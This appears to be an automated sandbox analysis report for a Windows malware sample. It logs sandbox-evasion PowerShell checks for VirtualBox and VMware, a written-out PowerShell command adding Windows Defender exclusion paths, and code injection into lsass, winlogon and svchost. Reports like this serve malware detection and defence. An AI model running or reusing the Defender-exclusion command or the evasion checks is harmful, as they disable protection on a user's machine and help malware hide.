Source: svchost.exe, 0000001D.00000000.1816771604.000002295CE00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: lsass.exe, 00000018.00000002.2932233766.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicheartbeatNT SERVICE
Source: svchost.exe, 00000022.00000000.1851113001.000001D5592C3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: dowvmci
Source: svchost.exe, 00000022.00000000.1851692594.000001D559400000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware
Source: svchost.exe, 00000022.00000000.1854193740.000001D5599A5000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
Source: svchost.exe, 00000022.00000000.1844327938.000001D558DE0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: if(($pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "AdapterCompatibility" -or $pr.Name -eq "Description" -or $pr.Name -eq "InfSection" -or $pr.Name -eq "VideoProcessor") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VirtualBox' -or $pr.Value -match 'VMware' -or $pr.Value -match 'Oracle Corporation' -or $pr.Value -match 'Microsoft Basic Display Adapter'))
Source: svchost.exe, 00000022.00000000.1844327938.000001D558DE0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: if(($pr.Name -eq "DeviceId" -or $pr.Name -eq "Caption" -or $pr.Name -eq "Model" -or $pr.Name -eq "PNPDeviceID") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMware'))
Source: dwm.exe, 0000001A.00000000.1790714487.000002BAAA00C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: svchost.exe, 00000022.00000000.1844327938.000001D558DE0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: if(($pr.Name -eq "DeviceId" -or $pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "Service" -or $pr.Name -eq "Description") -and ($pr.Value -match 'VEN_80EE' -or $pr.Value -match 'VEN_15AD' -or $pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMWare' -or $pr.Value -match 'VMware' -or $pr.Value -match '82801FB' -or $pr.Value -match '82441FX' -or $pr.Value -match '82371SB' -or $pr.Value -match 'OpenHCD'))

Source: C:\Windows\System32\dialer.exe

API call chain: ExitProcess graph end node

graph_16-495

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\winlogon.exe

Code function: 23_2_00000225DC647E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

23_2_00000225DC647E70

Source: C:\Windows\System32\dialer.exe

Code function: 16_2_00007FF6CD4117F8 GetProcessHeap,RtlAllocateHeap,OpenProcess,TerminateProcess,CloseHandle,GetProcessHeap,HeapFree,

16_2_00007FF6CD4117F8

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Code function: 0_2_00401159 EntryPoint,memset,SetUnhandledExceptionFilter,__set_app_type,_controlfp,__argc,__argv,_environ,_environ,__argv,__getmainargs,__argc,__argv,_environ,__argc,__argc,exit,	0_2_00401159
Source: C:\Windows\System32\winlogon.exe	Code function: 23_2_00000225DC647E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_00000225DC647E70
Source: C:\Windows\System32\winlogon.exe	Code function: 23_2_00000225DC64B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_00000225DC64B50C
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_00000202C0AE7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_00000202C0AE7E70
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_00000202C0AEB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_00000202C0AEB50C
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000002A661307E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	25_2_000002A661307E70
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000002A66130B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	25_2_000002A66130B50C
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000002BAAEDB7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_000002BAAEDB7E70
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000002BAAEDBB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_000002BAAEDBB50C
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000026A879CB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	27_2_0000026A879CB50C
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000026A879C7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	27_2_0000026A879C7E70
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_00000179537AB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00000179537AB50C
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_00000179537A7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00000179537A7E70
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002295D567E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_000002295D567E70
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002295D56B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_000002295D56B50C
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_0000025306E67E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	30_2_0000025306E67E70
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_0000025306E6B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	30_2_0000025306E6B50C
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_000001845B3B7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_000001845B3B7E70
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_000001845B3BB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_000001845B3BB50C
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001ADECD4B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	32_2_000001ADECD4B50C
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001ADECD47E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	32_2_000001ADECD47E70
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_000001D55907B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	34_2_000001D55907B50C
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_000001D559077E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	34_2_000001D559077E70
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000241A9EAB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	35_2_00000241A9EAB50C
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000241A9EA7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	35_2_00000241A9EA7E70
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000001CD73197E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	36_2_000001CD73197E70
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000001CD7319B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	36_2_000001CD7319B50C
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_000002824E89B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	37_2_000002824E89B50C
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_000002824E897E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	37_2_000002824E897E70
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_0000021B47B37E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	38_2_0000021B47B37E70
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_0000021B47B3B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	38_2_0000021B47B3B50C
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_000002087006B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	39_2_000002087006B50C
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_0000020870067E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	39_2_0000020870067E70
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_000001718426B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	40_2_000001718426B50C
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_0000017184267E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	40_2_0000017184267E70
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_0000023FD3FAB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	41_2_0000023FD3FAB50C
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_0000023FD3FA7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	41_2_0000023FD3FA7E70

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi32_7324.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7324, type: MEMORYSTR

Adds a directory exclusion to Windows Defender

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Users\user\AppData\Local\Temp\svc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force			Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 225DC610000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 202C0AB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A6612D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 2BAAED80000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26A87990000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17953770000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2295D530000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 253067D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1845B380000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D559040000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 241A9E70000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1CD73160000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2824E860000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21B473C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2086F9D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17183BC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23FD3F70000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D2A4150000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 275BDF30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1AAC0260000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 203C9F30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B5645B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1C004F60000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 24E2AB40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2644ADB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\spoolsv.exe base: 1990000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20D25DA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26EF5350000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A7F0D60000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23D0FFB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B1C2570000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2108BCF0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 29166900000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1988D570000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 13869B40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1E1CC740000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2855DA70000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2BF199D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 15AF3890000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21A03B80000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\sihost.exe base: 1CD40E40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 151A6530000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 19E29CC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17D7B150000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1BE621A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2252F480000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 184683D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\explorer.exe base: 7D80000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1972E260000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dasHost.exe base: 2246C5E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 221D5930000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1D178740000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A633B40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2928D0A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 13DAB4C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\smartscreen.exe base: 1A22A640000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21C6CF30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\audiodg.exe base: 1D349350000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 23B60D90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F22F7C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20C1A6C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 256135A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 1AEA13B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 2144D860000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 220E3F20000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 2732B8A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 27E57A50000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1A76ED50000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1457A7E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 224EC7B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 1D7E5240000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 1D7E54E0000 protect: page execute and read and write	Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dialer.exe

Code function: 16_2_00007FF6CD411DB4 CreateProcessW,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,

16_2_00007FF6CD411DB4

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: DC612908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\lsass.exe EIP: C0AB2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 612D2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\dwm.exe EIP: AED82908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 87992908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 53772908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5D532908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 67D2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5B382908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: EBFD2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 59042908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: A9E72908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 73162908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4E862908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 473C2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 6F9D2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 83BC2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: D3F72908	Jump to behavior
